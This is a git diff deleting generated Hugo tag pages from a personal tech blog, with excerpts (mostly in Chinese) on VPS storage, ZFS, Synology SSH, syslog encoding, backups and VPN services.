    - - - -
    - - - - - -
    - - -
    -

    This post has no body – almost

    -
    - - - 2017-05-30 - - - - - - - - - New York - - Other Destinations - - - - - -
    - - - Ut vel lectus et nulla elementum dapibus. Cras turpis dui, fermentum at tincidunt eu, placerat quis urna. In orci justo, condimentum eget consectetur nec, mollis sit amet nisi. Nulla id turpis dolor, non gravida augue. Phasellus quis justo consectetur tellus ultrices tincidunt. - Alchemy from Henry Jun Wah Lee / Evosia on Vimeo. -Vestibulum posuere pharetra sem, in venenatis eros vehicula id. Nulla gravida velit a diam interdum mattis. Lorem ipsum dolor sit amet, consectetur adipiscing elit. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/static-sites/page/1/index.html b/themes/public/tags/static-sites/page/1/index.html deleted file mode 100644 index 5d4572f1..00000000 --- a/themes/public/tags/static-sites/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/static-sites/ \ No newline at end of file diff --git a/themes/public/tags/storage/index.html b/themes/public/tags/storage/index.html deleted file mode 100644 index b716fd7d..00000000 --- a/themes/public/tags/storage/index.html +++ /dev/null @@ -1,518 +0,0 @@ - - - - - - - - - - Storage | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [BLOG] 新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    -
    - - - 2016-03-10 - - - - - - - - - BLOG - - - - - -
    - - -

    新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    - -

    前幾天因為DO的WP主機速度不理想,就連拿來當作上PTT的跳板都會頓爹

    - -

    所以把主機換到了vultr 的東京機房,光是ping值就從 14x ms 下降到了 4x ms,整個大改善啊!

    - -

    而且方案從原本的 10USD 換成了 5USD (1 cpu / 768M/15G) ,裝好FreeBSD拿來跑 WP算是綽綽有餘

    - -

    不過因為這台還當作 pydio 主機來用, 15G的空間實在不夠用

    - -

    發TICKET詢問客服能不能增加硬碟空間,客服表示只能upgrade plan

    - -

    但是再往上一級的10 USD方案,也只有 20G,多了 5 USD 只有多5G空間(好啦 還有流量也增加,問題是我用不到流量啊…)

    - -

    算一算,實在不是很划算

    - -

    就在這個摸門特,發現了 vultr 有 Storage Instance !

    - -

    只要 5USD 就有一台虛擬主機 (1 cpu / 512M/125G SATA HD)

    - -

    怎麼算都比upgrade 到 10USD的方案划算,而且價格一樣!

    - -

    二話不說,馬上申請一台,一樣跑FreeBSD 10.2,打算拿來當作儲存空間用

    - -

    至於要用 sshfs / curlftpfs  / nfs /iscsi 則是還沒決定,且戰且走

    - -

     

    - -
    - -

     

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD + ZFS as Hybrid Storage ?

    -
    - - - 2015-01-08 - - - - - - - - - 工作筆記 - - - - - -
    - - - 昨天參加 Nimble Storage Seminar之後的一點想法 -能不能用大量的記憶體配合一些SSD再加上 SATA硬碟,做出一個混合式的儲存空間提供給VDI使用? -inline compression zfs 本來就有 -只是不曉得nimble 怎麼把讀寫分流SSD Cache/ SATA 硬碟上.. -  -ZIL:簡單一點說,就是寫入的cache ,改變先寫入到ZIL,由ZIL回覆AP說寫入OK,AP就可以繼續其他行程。 -有點錯誤,因為ZIL實際上是 “journal” ,檔案的寫入是先記錄在日誌上,再寫入到檔案系統 -所以藉著改變這個檔案系統的載體(就是磁碟機啦)的型態(從傳統硬碟到固態硬碟) -就可以提升寫入的效能,但是ZIL有可能會毀損,所以大部分都建議也要做個保護 (mirror) -zpool create pool_name log mirror /dev/sda1 /dev/sda2 -ARC: Read 快取,放在RAM中 , -/boot/loader.conf vm.kmem_size -amd64 NOTE (gcooper): this blanket statement is far from true 100% of the time, depending on how the system with ZFS is being used. -FreeBSD 7.2+ has improved kernel memory allocation strategy and no tuning may be necessary on systems with more than 2 GB of RAM. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/storage/page/1/index.html b/themes/public/tags/storage/page/1/index.html deleted file mode 100644 index 0af5d543..00000000 --- a/themes/public/tags/storage/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/storage/ \ No newline at end of file diff --git a/themes/public/tags/support/index.html b/themes/public/tags/support/index.html deleted file mode 100644 index 2e2e01d9..00000000 --- a/themes/public/tags/support/index.html +++ /dev/null @@ -1,418 +0,0 @@ - - - - - - - - - - Support | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    Support and Discussions

    -
    - - - 2017-11-01 - - - - - - - - - Lednerb - -
    - - -

    Hey there!

    - -

    This Premium Theme is published under an open source license so you can use it for your blog. It took me more than 75 hours of work to create one of the best Hugo themes out there.

    - -

    If you enjoy this theme and want to stay informed about the latest releases and features or want to say thanks and discuss with other users, join our Discord server:

    - -

    Discord

    - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/support/index.xml b/themes/public/tags/support/index.xml deleted file mode 100644 index 7dd309af..00000000 --- a/themes/public/tags/support/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Support on My cool new Blog - https://h.cowbay.org/tags/support/ - Recent content in Support on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 18:10:14 +0100 - - - - - - Support and Discussions - https://h.cowbay.org/article/support-and-discussions/ - Wed, 01 Nov 2017 18:10:14 +0100 - - https://h.cowbay.org/article/support-and-discussions/ - Hey there! -This Premium Theme is published under an open source license so you can use it for your blog. It took me more than 75 hours of work to create one of the best Hugo themes out there. -If you enjoy this theme and want to stay informed about the latest releases and features or want to say thanks and discuss with other users, join our Discord server: - - - - \ No newline at end of file diff --git a/themes/public/tags/support/page/1/index.html b/themes/public/tags/support/page/1/index.html deleted file mode 100644 index c94ea1a3..00000000 --- a/themes/public/tags/support/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/support/ \ No newline at end of file diff --git a/themes/public/tags/synatx/index.html b/themes/public/tags/synatx/index.html deleted file mode 100644 index 8b013da8..00000000 --- a/themes/public/tags/synatx/index.html +++ /dev/null @@ -1,406 +0,0 @@ - - - - - - - - - - Synatx | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/synatx/page/1/index.html b/themes/public/tags/synatx/page/1/index.html deleted file mode 100644 index b17b381f..00000000 --- a/themes/public/tags/synatx/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/synatx/ \ No newline at end of file diff --git a/themes/public/tags/synology/index.html b/themes/public/tags/synology/index.html deleted file mode 100644 index f0c53d93..00000000 --- a/themes/public/tags/synology/index.html +++ /dev/null @@ -1,391 +0,0 @@ - - - - - - - - - - Synology | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

    -
    - - - 2018-11-05 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    - -

    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇

    - -

    https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux

    - -

    或者是這篇

    - -

    https://www.maketecheasier.com/mount-google-drive-ubuntu/

    - -

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/synology/index.xml b/themes/public/tags/synology/index.xml deleted file mode 100644 index e5cfd65e..00000000 --- a/themes/public/tags/synology/index.xml +++ /dev/null @@ -1,38 +0,0 @@ - - - - Synology on MC部落 - https://h.cowbay.org/tags/synology/ - Recent content in Synology on MC部落 - Hugo -- gohugo.io - Mon, 05 Nov 2018 14:16:54 +0800 - - - - - - 筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入 - https://h.cowbay.org/articles/enable-synology-public-ssh/ - Mon, 05 Nov 2018 14:16:54 +0800 - - https://h.cowbay.org/articles/enable-synology-public-ssh/ - <p>公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來</p> - -<p>這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇</p> - -<p><a href="https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux">https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux</a></p> - -<p>或者是這篇</p> - -<p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> - -<p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/tags/syslog/index.html b/themes/public/tags/syslog/index.html deleted file mode 100644 index b727b82c..00000000 --- a/themes/public/tags/syslog/index.html +++ /dev/null @@ -1,422 +0,0 @@ - - - - - - - - - - Syslog | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記]群暉科技 Synology 的 Syslog 中文亂碼的處理方法

    -
    - - - 2014-09-09 - - - - - - - - - 工作筆記 - - - - - -
    - - - 因為開會時,被要求紀錄NAS上的檔案存取記錄 -想到群暉的NAS上,不曉得在哪一版DSM之後,就有提供這樣的功能 -控制台—>檔案服務—>勾選 啟動傳輸日誌 - -接下來在系統中,就可以看到USER上來新增、修改、刪除之類的動作 - -正所謂得隴望蜀,雖然在這邊已經可以查到記錄了,可是總是想要丟到SYSLOG Server去做處理比較快 -所以我把SYSLOG指定丟到我另一台 FreeBSD 9.1的 SYSLOG Server上 -丟出來是沒有碰到什麼問題,但是在SYSLOG Server上,看到的LOG都是亂碼 - -發信件去給群暉,過了24小時也沒收到回信,想說還是靠自己比較快… -翻了一下google 大神,發現 SYSLOG在處理中文上的確是有問題 -最後找到了這篇 -FreeBSD : syslogd 儲存的 UTF-8 編碼記錄變亂碼 解決方法真的很簡單,就在syslog的啟動參數,多加一個 -8 ,然後重新啟動syslogd就好了 > vi /etc/rc.conf > > > syslogd_flags=”-8 -a 192.168.1.0/16:*”   -再來看一下檔案內容, YES ! 中文都可以看到了!這樣就方便過濾了! -雖然馬賽克遮掉很多,但是應該可以看到中文可以正常顯示了! - -  -至於群暉那邊開好的TICKET….我看就等看看他們哪時候才要回覆我好了… - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/syslog/page/1/index.html b/themes/public/tags/syslog/page/1/index.html deleted file mode 100644 index 27642b2a..00000000 --- a/themes/public/tags/syslog/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/syslog/ \ No newline at end of file diff --git a/themes/public/tags/syslogd/index.html b/themes/public/tags/syslogd/index.html deleted file mode 100644 index 1c2a9dd0..00000000 --- a/themes/public/tags/syslogd/index.html +++ /dev/null @@ -1,422 +0,0 @@ - - - - - - - - - - Syslogd | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記]群暉科技 Synology 的 Syslog 中文亂碼的處理方法

    -
    - - - 2014-09-09 - - - - - - - - - 工作筆記 - - - - - -
    - - - 因為開會時,被要求紀錄NAS上的檔案存取記錄 -想到群暉的NAS上,不曉得在哪一版DSM之後,就有提供這樣的功能 -控制台—>檔案服務—>勾選 啟動傳輸日誌 - -接下來在系統中,就可以看到USER上來新增、修改、刪除之類的動作 - -正所謂得隴望蜀,雖然在這邊已經可以查到記錄了,可是總是想要丟到SYSLOG Server去做處理比較快 -所以我把SYSLOG指定丟到我另一台 FreeBSD 9.1的 SYSLOG Server上 -丟出來是沒有碰到什麼問題,但是在SYSLOG Server上,看到的LOG都是亂碼 - -發信件去給群暉,過了24小時也沒收到回信,想說還是靠自己比較快… -翻了一下google 大神,發現 SYSLOG在處理中文上的確是有問題 -最後找到了這篇 -FreeBSD : syslogd 儲存的 UTF-8 編碼記錄變亂碼 解決方法真的很簡單,就在syslog的啟動參數,多加一個 -8 ,然後重新啟動syslogd就好了 > vi /etc/rc.conf > > > syslogd_flags=”-8 -a 192.168.1.0/16:*”   -再來看一下檔案內容, YES ! 中文都可以看到了!這樣就方便過濾了! -雖然馬賽克遮掉很多,但是應該可以看到中文可以正常顯示了! - -  -至於群暉那邊開好的TICKET….我看就等看看他們哪時候才要回覆我好了… - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/syslogd/page/1/index.html b/themes/public/tags/syslogd/page/1/index.html deleted file mode 100644 index 99fbd47c..00000000 --- a/themes/public/tags/syslogd/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/syslogd/ \ No newline at end of file diff --git a/themes/public/tags/terminal-service/index.html b/themes/public/tags/terminal-service/index.html deleted file mode 100644 index c060f47d..00000000 --- a/themes/public/tags/terminal-service/index.html +++ /dev/null @@ -1,410 +0,0 @@ - - - - - - - - - - Terminal Service | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] XenServer/XenApp 不透過AG,直接從Internet連線的方式

    -
    - - - 2013-10-03 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為最近要再次開放遠端桌面連線給員工使用,基於某些原因,我不是很想直接讓USER直接連線。

    - -

    不管是透過terminal service or XenApp,不過,命令終究是命令,遠端連線自然是沒有問題,不過之前問過廠商,如果要在INTERNET上直接提供XenApp,都是建議前面再放個AG之類的,那又是一筆額外的成本,所以這兩天在測試怎麼從INTERNET上直接連XenApp服務,但是碰到了許多的問題,以下簡單記錄一下處理的步驟。

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/terminal-service/page/1/index.html b/themes/public/tags/terminal-service/page/1/index.html deleted file mode 100644 index f5223fd4..00000000 --- a/themes/public/tags/terminal-service/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/terminal-service/ \ No newline at end of file diff --git a/themes/public/tags/theme/index.html b/themes/public/tags/theme/index.html deleted file mode 100644 index cfd180bc..00000000 --- a/themes/public/tags/theme/index.html +++ /dev/null @@ -1,394 +0,0 @@ - - - - - - - - - - Theme | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/theme/index.xml b/themes/public/tags/theme/index.xml deleted file mode 100644 index 25ff26e4..00000000 --- a/themes/public/tags/theme/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Theme on My cool new Blog - https://h.cowbay.org/tags/theme/ - Recent content in Theme on My cool new Blog - Hugo -- gohugo.io - Wed, 31 Oct 2018 00:00:00 +0000 - - - - - - 筆記 HUGO 主題 Lednerb/bilberry-hugo-theme - https://h.cowbay.org/article/hugo-theme-bliberry/ - Wed, 31 Oct 2018 00:00:00 +0000 - - https://h.cowbay.org/article/hugo-theme-bliberry/ - test 1 - - - - \ No newline at end of file diff --git a/themes/public/tags/theme/page/1/index.html b/themes/public/tags/theme/page/1/index.html deleted file mode 100644 index b117335a..00000000 --- a/themes/public/tags/theme/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/theme/ \ No newline at end of file diff --git a/themes/public/tags/tools/index.html b/themes/public/tags/tools/index.html deleted file mode 100644 index 090338cb..00000000 --- a/themes/public/tags/tools/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - Tools | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] Linux 底下好用的備份工具 rsync-time-backup

    -
    - - - 2018-04-10 - - - - - - - - - 筆記 - - - - - -
    - - - 很好用的工具,利用rsync 去作到類似MAC上的 time machine的功能 備份後的目錄大概會是這樣子 -drwxr-xr-x 1 mini sudo 3100 Apr 9 16:14 2018-04-10-160719 drwxr-xr-x 1 mini sudo 3100 Apr 9 16:14 2018-04-10-160224 drwxr-xr-x 1 mini sudo 3100 Apr 9 16:14 2018-04-10-160054 drwxr-xr-x 1 mini sudo 3100 Apr 9 16:14 2018-04-10-155836 drwxr-xr-x 1 mini sudo 3100 Apr 9 16:14 2018-04-10-155826 -rw-r--r-- 1 mini sudo 0 Apr 10 15:58 backup.marker drwxr-xr-x 1 mini sudo 472 Apr 10 16:07 .. lrwxrwxrwx 1 mini sudo 17 Apr 10 16:07 latest -> 2018-04-10-160719 drwxr-xr-x 1 mini sudo 208 Apr 10 16:07 . - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/tools/page/1/index.html b/themes/public/tags/tools/page/1/index.html deleted file mode 100644 index ee1d8057..00000000 --- a/themes/public/tags/tools/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/tools/ \ No newline at end of file diff --git a/themes/public/tags/truth-rap/index.html b/themes/public/tags/truth-rap/index.html deleted file mode 100644 index 681287dd..00000000 --- a/themes/public/tags/truth-rap/index.html +++ /dev/null @@ -1,410 +0,0 @@ - - - - - - - - - - Truth Rap | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    - -
    - - - - - -
    -

    Kilez More - New World Order

    -
    - - - 2017-11-01 - - - - - - - - - Music - - - - - -
    - - - With the audio post type you can easily integrate a Spotify, SoundCloud, TuneIn or Mixcloud player to your post. -If you don’t want to embed sound but use a header image you can set it with the featuredImage option in your markdown file. - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/truth-rap/index.xml b/themes/public/tags/truth-rap/index.xml deleted file mode 100644 index b284424d..00000000 --- a/themes/public/tags/truth-rap/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - Truth Rap on My cool new Blog - https://h.cowbay.org/tags/truth-rap/ - Recent content in Truth Rap on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 16:12:47 +0100 - - - - - - Kilez More - New World Order - https://h.cowbay.org/audio/kilez-more-new-world-order/ - Wed, 01 Nov 2017 16:12:47 +0100 - - https://h.cowbay.org/audio/kilez-more-new-world-order/ - With the audio post type you can easily integrate a Spotify, SoundCloud, TuneIn or Mixcloud player to your post. -If you don&rsquo;t want to embed sound but use a header image you can set it with the featuredImage option in your markdown file. - - - - \ No newline at end of file diff --git a/themes/public/tags/truth-rap/page/1/index.html b/themes/public/tags/truth-rap/page/1/index.html deleted file mode 100644 index 33312461..00000000 --- a/themes/public/tags/truth-rap/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/truth-rap/ \ No newline at end of file diff --git a/themes/public/tags/ubuntu/index.html b/themes/public/tags/ubuntu/index.html deleted file mode 100644 index f0b572de..00000000 --- a/themes/public/tags/ubuntu/index.html +++ /dev/null @@ -1,386 +0,0 @@ - - - - - - - - - - Ubuntu | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

    -
    - - - 2018-11-08 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

    - -

    來到這個環境之後,有一個很詭異的狀況一直困擾著我

    - -

    在每個分公司,都會有一台伺服器作為KVM Host

    - -

    上面跑兩台VM,一台作為ansible controller (目前沒作用)

    - -

    另一台作為這邊所謂的 “Build Server”

    - -

    用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)

    - -

    問題就發生在這台 Build Server 上…

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/ubuntu/index.xml b/themes/public/tags/ubuntu/index.xml deleted file mode 100644 index 4c20b299..00000000 --- a/themes/public/tags/ubuntu/index.xml +++ /dev/null @@ -1,37 +0,0 @@ - - - - Ubuntu on MC部落 - https://h.cowbay.org/tags/ubuntu/ - Recent content in Ubuntu on MC部落 - Hugo -- gohugo.io - Thu, 08 Nov 2018 18:01:23 +0800 - - - - - - [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係? - https://h.cowbay.org/post/weird-client-server-connection/ - Thu, 08 Nov 2018 18:01:23 +0800 - - https://h.cowbay.org/post/weird-client-server-connection/ - <p>這是發生在一個夜黑風高的寂寥深夜&hellip;.. ( What The FXXX &hellip; )</p> - -<p>來到這個環境之後,有一個很詭異的狀況一直困擾著我</p> - -<p>在每個分公司,都會有一台伺服器作為KVM Host</p> - -<p>上面跑兩台VM,一台作為ansible controller (目前沒作用)</p> - -<p>另一台作為這邊所謂的 &ldquo;Build Server&rdquo;</p> - -<p>用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)</p> - -<p>問題就發生在這台 Build Server 上&hellip;</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/tags/video/page/1/index.html b/themes/public/tags/video/page/1/index.html deleted file mode 100644 index d9bb6b3a..00000000 --- a/themes/public/tags/video/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/video/ \ No newline at end of file diff --git a/themes/public/tags/vmware/page/1/index.html b/themes/public/tags/vmware/page/1/index.html deleted file mode 100644 index 57044e70..00000000 --- a/themes/public/tags/vmware/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/vmware/ \ No newline at end of file diff --git a/themes/public/tags/vpn/index.html b/themes/public/tags/vpn/index.html deleted file mode 100644 index a8089159..00000000 --- a/themes/public/tags/vpn/index.html +++ /dev/null @@ -1,475 +0,0 @@ - - - - - - - - - - Vpn | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] senVPN - 適合拿來讓 ovo 電視盒看大陸影音平台內容的 VPN 業者

    -
    - - - 2015-10-29 - - - - - - - - - 未分類 - - - - - -
    - - - 首選: Dyxnet Internet PLUS ,既有大陸當地的LOCAL IP,又有台灣這邊的IP可以建 VPN Tunnel,但是這價位不是一般人付得起 …… -今天看到一個senVPN 的服務,價格不貴,又有 300M的試用流量,而且還有中國的伺服器!就順手在iPhone上建立VPN測試看看,開啟愛奇藝、PPTV等視頻軟體,不會出現非中國IP不能觀看的錯誤訊息,用高清畫質看片子也很順,基本沒有出現過「緩衝中」的狀況,而且價格真的不高,4.9/month , 9.99⁄3 months , 17.9⁄6 month , 29.9/year 有50GB 的流量,比起這幾天看過、測試過的其他VPN算是很優惠的了! -要不是先搞定了那個Internet PLUS,我可能就會改用這家的VPN的服務了! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 6.6 + CACTI 0.8.8b

    -
    - - - 2015-06-09 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    這幾天弄了一台香港的VPS 想說看看對看影片有沒有幫助

    - -

    VPN 設定好之後,想看看在看影片時,流量可以到多少

    - -

    之前就有用過cacti ,感覺還不錯,裝起來也很容易,就想說來裝裝看

    - -

    沒想到在 centos 6.6 上安裝碰到一堆問題….

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/vps/index.html b/themes/public/tags/vps/index.html deleted file mode 100644 index bd2bc1f5..00000000 --- a/themes/public/tags/vps/index.html +++ /dev/null @@ -1,752 +0,0 @@ - - - - - - - - - - Vps | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [BLOG] 新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    -
    - - - 2016-03-10 - - - - - - - - - BLOG - - - - - -
    - - -

    新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    - -

    前幾天因為DO的WP主機速度不理想,就連拿來當作上PTT的跳板都會頓爹

    - -

    所以把主機換到了vultr 的東京機房,光是ping值就從 14x ms 下降到了 4x ms,整個大改善啊!

    - -

    而且方案從原本的 10USD 換成了 5USD (1 cpu / 768M/15G) ,裝好FreeBSD拿來跑 WP算是綽綽有餘

    - -

    不過因為這台還當作 pydio 主機來用, 15G的空間實在不夠用

    - -

    發TICKET詢問客服能不能增加硬碟空間,客服表示只能upgrade plan

    - -

    但是再往上一級的10 USD方案,也只有 20G,多了 5 USD 只有多5G空間(好啦 還有流量也增加,問題是我用不到流量啊…)

    - -

    算一算,實在不是很划算

    - -

    就在這個摸門特,發現了 vultr 有 Storage Instance !

    - -

    只要 5USD 就有一台虛擬主機 (1 cpu / 512M/125G SATA HD)

    - -

    怎麼算都比upgrade 到 10USD的方案划算,而且價格一樣!

    - -

    二話不說,馬上申請一台,一樣跑FreeBSD 10.2,打算拿來當作儲存空間用

    - -

    至於要用 sshfs / curlftpfs  / nfs /iscsi 則是還沒決定,且戰且走

    - -

     

    - -
    - -

     

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 6.6 + CACTI 0.8.8b

    -
    - - - 2015-06-09 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    這幾天弄了一台香港的VPS 想說看看對看影片有沒有幫助

    - -

    VPN 設定好之後,想看看在看影片時,流量可以到多少

    - -

    之前就有用過cacti ,感覺還不錯,裝起來也很容易,就想說來裝裝看

    - -

    沒想到在 centos 6.6 上安裝碰到一堆問題….

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [VPS] DigitalOcean VPS的下載速度很慢???

    -
    - - - 2015-01-15 - - - - - - - - - 未分類 - - - - - -
